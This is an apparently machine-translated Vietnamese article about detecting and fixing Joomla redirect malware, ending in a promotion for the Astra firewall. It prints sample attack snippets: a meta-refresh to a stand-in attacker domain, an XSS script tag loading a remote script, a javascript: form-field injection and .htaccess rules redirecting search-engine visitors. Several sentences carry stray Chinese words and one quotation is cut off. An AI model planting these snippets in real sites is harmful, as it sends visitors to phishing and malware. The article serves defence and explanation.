Computer >> Hướng Dẫn Máy Tính >  >> Kết Nối Mạng >> An Ninh Mạng

Hack Chuyển Hướng (Redirect) Joomla Malware: Cách Phát Hiện & Khắc Phục An Toàn

Joomla mang lại sự tiện lợi cho các tác vụ quản trị trang web hàng ngày đơn điệu. Được hỗ trợ bởi cộng đồng mã nguồn mở, CMS này thân thiện với người dùng. Joomla cũng phổ biến nhờ đa dạng extension (tiện ích mở rộng) nó cung cấp. Nhiều lỗ hổng đã được khám phá trong Joomla năm nay. Chúng bao gồm Joomla XSS, xâm nhập file (File intrusion) đến Joomla SQL injection v.v. Những lỗ hổng này thu hút kẻ tấn công cố gắng khai thác để獲利. Nhà phát hành phát hành bản vá sớm nhưng người dùng mất thời gian cập nhật. Điều này làm cho số lượng lớn Joomla dễ bị khai thác. Một khi bị xâm phạm, trang Joomla nằm ở tay kẻ tấn công. Kẻ tấn công có thể biến dạng hoặc phá hủy nó hoặc thực hiện hack chuyển hướng Joomla (Joomla redirect hack). Hack chuyển hướng Joomla khá phổ biến vì nó giúp kẻ tấn công thu hoạch nhấp chuột (harvest clicks). Hack chuyển hướng Joomla cũng giúp kẻ tấn công phục vụ spam. Theo cuốn sách Joomla Web Security,

Hack Chuyển Hướng Joomla: Triệu Chứng

Hack chuyển hướng Joomla thường khó phát hiện. Admin web có thể không biết trong thời gian dài. Anh/Cô có thể chỉ được thông báo khi một số người dùng phàn nàn về việc kết thúc ở nơi khác từ trang web. Một số triệu chứng phổ biến của trang bị xâm phạm bởi chuyển hướng mã độc Joomla là:

  • Người dùng được chuyển hướng đến domain không xác định.
  • Trang quảng cáo giả được phục vụ cho người truy cập.
  • Trang web có thể cố gắng cài mã độc trên thiết bị người dùng.
  • Trang web có thể bị blacklist vì phục vụ spam.
  • Trang lừa đảo (phishing) giả xuất hiện trên trang. Đặc biệt trên trang thanh toán.
  • Pop-up liên tục xuất hiện một sau một.

Joomla Bị Hack Chuyển Hướng: Ví Dụ

Chuyển hướng mã độc Joomla khiến admin web bối rối khắp internet. Thường, phản ứng đầu tiên là nhờ giúp đỡ từ diễn đàn cộng đồng Joomla. Đôi khi hack chuyển hướng Joomla quay lại ngay sau khi dọn dẹp. Một số ví dụ như vậy được đưa ra dưới đây.

Hack Chuyển Hướng (Redirect) Joomla Malware: Cách Phát Hiện & Khắc Phục An Toàn Hack Chuyển Hướng (Redirect) Joomla Malware: Cách Phát Hiện & Khắc Phục An Toàn Hack Chuyển Hướng (Redirect) Joomla Malware: Cách Phát Hiện & Khắc Phục An Toàn

Hack Chuyển Hướng Joomla: Nguyên Nhân

Chuyển Hướng DNS (DNS Hijacking)

Chuyển hướng DNS có những hệ quả nghiêm trọng. Công ty lớn như Wikileaks đã là nạn nhân của tấn công DNS Hijacking. Dùng kỹ thuật này, kẻ tấn công có thể định tuyến lại toàn bộ lưu lượng trang Joomla của bạn. Đặc biệt các tập đoàn lớn cần giữ máy chủ DNS an toàn. DNS hijacking có thể thực hiện qua hai kênh:

  • Can Thiệp File Hosts: Mỗi máy tính chứa file Hosts.txt riêng. File này giúp chúng dịch tên máy (hostnames) sang IP tương ứng. Tấn công mã độc quy mô lớn có thể can thiệp file hosts của máy tính. Những máy này sau đó sẽ chuyển hướng đến domain do kẻ tấn công kiểm soát thay vì trang Joomla của bạn. Do đó thực hiện hack chuyển hướng mã độc Joomla.
  • Tấn Công Máy Chủ DNS: DNS là giao thức khá cũ, do đó toàn bộ hệ thống dựa trên niềm tin. Máy chủ DNS giao tiếp qua máy chủ slave và master. Master chuyển zone đến slave server theo yêu cầu. Zone DNS cơ bản là bản sao cơ sở dữ liệu cục bộ. Nó chứa thông tin nhạy cảm về máy có thể không công khai qua công cụ tìm kiếm. Do đó, kẻ tấn công thiết lập slave server độc (rogue) và lấy bản sao zone. Dùng thông tin này, kẻ tấn công cố gắng tấn công máy dễ bị tổn thương và xâm phạm mạng. Hơn nữa, kẻ tấn công sau đó có thể can thiệp máy chủ DNS cục bộ. Do đó tất cả truy vấn sau đó chuyển hướng đến máy do kẻ tấn công kiểm soát. Do đó thành công thực hiện hack chuyển hướng Joomla!

Hơn nữa, các cuộc tấn công này có thể thực hiện trên mạng LAN tại wifi công cộng. Kẻ tấn công có thể thiết lập proxy DNS giả. Điều này sẽ giải quyết IP trang Joomla của bạn sang máy do kẻ tấn công kiểm soát. Do đó lừa tất cả người dùng cục bộ chuyển hướng đến trang Joomla giả. Do đó thành công hack chuyển hướng Joomla!

SQL Injection

Năm nay, Joomla được phát hiện dễ bị một số SQLi. Thành phần dễ bị tấn công trong một trong số đó là User Notes list view & được đặt tên là CVE-2018-8045. Lỗ hổng này cho phép kẻ tấn công thực thi câu lệnh SQL trên máy chủ. Dẫn đến phơi bày các bảng nhạy cảm của cơ sở dữ liệu. Thông tin đăng nhập lấy được từ đây có thể xâm phạm bảng điều khiển (Dashboard). Dashboard sẽ cho kẻ tấn công khả năng nhiễm từng file bằng mã JavaScript để tạo chuyển hướng. Thường kẻ tấn công cố gắng tự động hóa quy trình này và do đó tải script thực hiện nhiệm vụ. Kẻ tấn công có thể chèn vào file hiện có hoặc tạo file mới để chèn hack chuyển hướng Joomla. Một số file truyền nhiễm thường được tạo để tạo hack chuyển hướng Joomla là:

  • /uuc/news_id.php
  • /zkd/news_fx.php
  • /dgmq/w_news.php
  • /cisc/br-news.php

Nếu bạn nhận thấy bất kỳ file nào như vậy, tiến hành xóa chúng. Mỗi file này sẽ chứa mã chuyển hướng độc hại. Nó trông giống như sau:

<meta http-equiv="refresh" content="2; url=https://attackerDOMAIN.com/ ">. Các file này chuyển hướng người dùng dùng Meta tags. Người truy cập được chuyển đến attackerDOMAIN.com. Đáng chú ý ở đây là đôi khi trang Joomla có thể dễ bị Stacked Based SQLi. Điều này cho phép kẻ tấn công thực thi lệnh hệ thống. Kẻ tấn công do đó có thể nhiễm file với mã chuyển hướng độc hại chỉ dùng câu lệnh SQL!

Cross Site Scripting (XSS)

XSS là bạn thân của SQLi khi nói đến lỗ hổng phổ biến. Toàn bộ bộ XSS đã được khám phá trong Joomla năm nay. Chúng bao gồm CVE-2018-15880, CVE-2018-12711, CVE-2018-11328, CVE-2018-11326. Nghiêm trọng nhất trong danh sách là CVE-2018-12711. Nguyên nhân do module 'language switcher module' bị lỗi. Điều này cho phép URL của một số ngôn ngữ bị nhiễm JS. Dùng XSS, kẻ tấn công có thể thực hiện tấn công khác như đánh cắp cookie, bên cạnh tạo hack chuyển hướng mã độc Joomla.

<script%20src="https://maliciousSite.com/bad.js"></script>

Mã này, khi chèn sau tham số dễ bị tấn công, có thể chuyển hướng người dùng. Người dùng được chuyển đến maliciousSite.com và script độc hại bad.js được tải. Script bad.js có thể thực hiện mọi loại thao tác JavaScript tùy theo động cơ kẻ tấn công. Khai thác XSS, kẻ tấn công có thể dụ nạn nhân đến trang lừa đảo bên cạnh tạo hack chuyển hướng Joomla.

Chèn Javascript (Javascript Injection)

Javascript rất mạnh và thường dùng để thực hiện tác vụ động. Tuy nhiên, do thiếu thực hành viết mã an toàn, một số nhà phát triển extension làm Joomla dễ bị chèn Javascript. Giống như XSS, chèn Javascript có thể dùng để thực hiện hack chuyển hướng Joomla. Kiểm tra heuristic cho chèn Javascript có thể làm. Trong thanh địa chỉ trang bạn đang truy cập, gõ:

javascript:alert('Hello World!');

Nếu trang hiển thị hộp thông báo nói 'Hello World!' thì trang dễ bị tấn công. Từ đây, kẻ tấn công có thể thao túng trang theo nhiều cách. Ví dụ, kẻ tấn công có thể thêm URL giả vào trường cụ thể của biểu mẫu.

javascript:void(document.forms[0].redirect01.value="fakeDOMAIN.com") Ở đây, đoạn mã này gán giá trị fakeDOMAIN.com vào input tên redirect01. Do đó trường đó sẽ chứa liên kết đến trang giả. Tuy nhiên đáng chú ý là giống như Reflected XSS, tấn công này thực hiện trên máy cục bộ trực tuyến. Do đó để lừa người dùng từ xa, kẻ tấn công phải dựa vào kỹ thuật Social Engineering khác.

File .htaccess

.htaccess là file rất mạnh có thể thực hiện nhiều nhiệm vụ. Bên cạnh ngăn chặn một vài loại tấn công chèn script, nó thường dùng để tạo chuyển hướng. Trong trường hợp hack chuyển hướng Joomla, .htaccess sẽ bị nhiễm mã như:

RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteRule .* https://MaliciousDomain.tld/redirect.php?t=3 [R,L]

Dòng cuối trong đoạn mã này chuyển hướng người dùng đến MaliciousDomain. Điều này thực hiện bằng script redirect.php. Bên cạnh .htacces, file như index.php cũng thường bị nhiễm. Vì index.php là trang đầu người dùng đến, nó góp phần đáng kể vào lưu lượng. Kẻ tấn công do đó cố gắng xâm phạm index.php để chuyển hướng lưu lượng tối đa. Lưu lượng bị chuyển hướng này giúp kẻ tấn công thu hoạch nhấp chuột.

Hack Chuyển Hướng Joomla: Cách Khắc Phục

Bảo Vệ Máy Chủ DNS

Hạn chế chuyển zone (zone transfer) xuống mức tối thiểu. Định nghĩa trước tất cả slave DNS server để không có slave độc nào có thể yêu cầu chuyển zone. Có thể làm bằng cách chỉnh sửa file named.conf.local. Ví dụ xem hình dưới.

Hack Chuyển Hướng (Redirect) Joomla Malware: Cách Phát Hiện & Khắc Phục An Toàn

Đoạn mã này định nghĩa trước slave DNS server i.e. secundario01 Do đó chỉ cho phép chuyển zone đến server tin cậy. Đôi khi, máy chủ DNS cũng dùng trong tấn công lấy cắp dữ liệu (data exfiltration). Vì vậy giám sát gói tin qua máy chủ DNS thời gian thực. Có thể thực hiện qua công cụ tiện lợi như Wireshark.

Dọn Dẹp Cơ Sở Dữ Liệu

Khi mã chịu trách nhiệm hack chuyển hướng Joomla bị ẩn trong file lõi, nó trở nên khó phát hiện. Tuy nhiên có điều gì đó chung trong tất cả file bị nhiễm. Đó là mã độc chịu trách nhiệm chuyển hướng. Tất cả file như vậy có thể tìm kiếm trong một cú nhấp chuột bằng công cụ quản trị database như PhpMyAdmin. Ví dụ xem hình dưới.

Hack Chuyển Hướng (Redirect) Joomla Malware: Cách Phát Hiện & Khắc Phục An Toàn

PhpMyAdmin đi kèm với chức năng tìm kiếm làm cho phát hiện dễ dàng. Công cụ này có thể tìm tất cả trang/bài viết chứa script độc hại hxxp://maliciousSITE[.]com/bad.php trong mã của chúng. Bên cạnh đó, công cụ cũng có thể dùng để:

  • Kiểm tra admin mới và xóa chúng.
  • Đặt lại mật khẩu cơ sở dữ liệu.
  • Dọn dẹp bảng bị nhiễm.
  • Quay lui thay đổi (rollback) nếu kẻ tấn công đã破坏 cơ sở dữ liệu.

Quảng Cáo Bên Thứ Ba (Third Party Advertisements)

Thường admin web cho phép quảng cáo bên thứ ba trên trang để thu nhập. Tuy nhiên, một số mạng quảng cáo không chơi theo quy tắc. Sự宽容 trong phục vụ nội dung quảng cáo cho phép kẻ xấu chèn mã chuyển hướng trong quảng cáo. Hơn nữa, hầu hết script độc hại được lưu trữ trên máy chủ khác làm phức tạp vấn đề. Nếu nhiễm tái diễn sau khi dọn dẹp lại và lại, hãy thử chặn quảng cáo. Nếu hack chuyển hướng Joomla dừng lại thì có thể do quảng cáo độc hại trên trang. Do đó, liên hệ mạng quảng cáo và giải quyết vấn đề.

Các biện pháp phòng ngừa khác

  • Cập nhật chứa bản vá bảo mật quan trọng có thể xác minh từ changelog. Do đó cập nhật thường xuyên để giữ Joomla an toàn.
  • Chỉ dùng extension uy tín. Tránh dùng extension null hoặc viết kém. Bên cạnh file lõi, hãy cập nhật extension của bạn.
  • Thông tin đăng nhập an toàn có thể giảm thiểu cơ hội tấn công brute force.
  • Bảo mật quyền file cho máy chủ. Đảm bảo quyền cho file như .htaccess đặt thành 444 (r--r--r--) hoặc 440 (r--r----).
  • Nếu bạn nghi ngờ sửa đổi file, đăng nhập qua SSH. Trên terminal, chạy lệnh find /path-of-www -type f -printf '%TY-%Tm-%Td %TT %pn' | sort -r. Kết quả sẽ là danh sách file sửa đổi theo timestamp. Từ đây kiểm tra thủ công file. Bình luận (comment out) dòng mã đáng ngờ bằng ký tự '#'. Sau đó tham khảo chuyên gia để đánh giá file!

Tường Lửa (Firewall)

Quan trọng là đảm bảo hack chuyển hướng Joomla không tái diễn. Tuy nhiên, hacker có thể liên tục nhắm vào trang. Trong kịch bản đó, cơ chế phòng thủ hiệu quả nhất là dùng tường lửa. Tích hợp tường lửa khá dễ dàng và tiện lợi. Giải pháp bảo mật trên thị trường hôm nay dễ dàng mở rộng. Như cái tại Astra hoàn hảo cho blog nhỏ cũng như trang mua sắm lớn. Hơn nữa, Astra thông báo cho người dùng qua email bất cứ khi nào file nào bị sửa đổi.

Astra

Astra có lịch sử tuyệt vời khi nói đến chặn chuyển hướng mã độc Joomla. Cũng, lọc gói tin (packet filtering) do Astra triển khai đảm bảo không yêu cầu xấu nào của kẻ tấn công hại trang của bạn. Hơn nữa, Astra thực hiện kiểm tra bảo mật trang Joomla và thông báo nếu phát hiện lỗ hổng. Do đó giữ bạn luôn tiến trước kẻ tấn công một bước. Sự kết hợp hoàn hảo giữa hỗ trợ con người và tự động hóa, Astra được khuyến cáo cao để chặn hack chuyển hướng Joomla.

Hack Chuyển Hướng (Redirect) Joomla Malware: Cách Phát Hiện & Khắc Phục An Toàn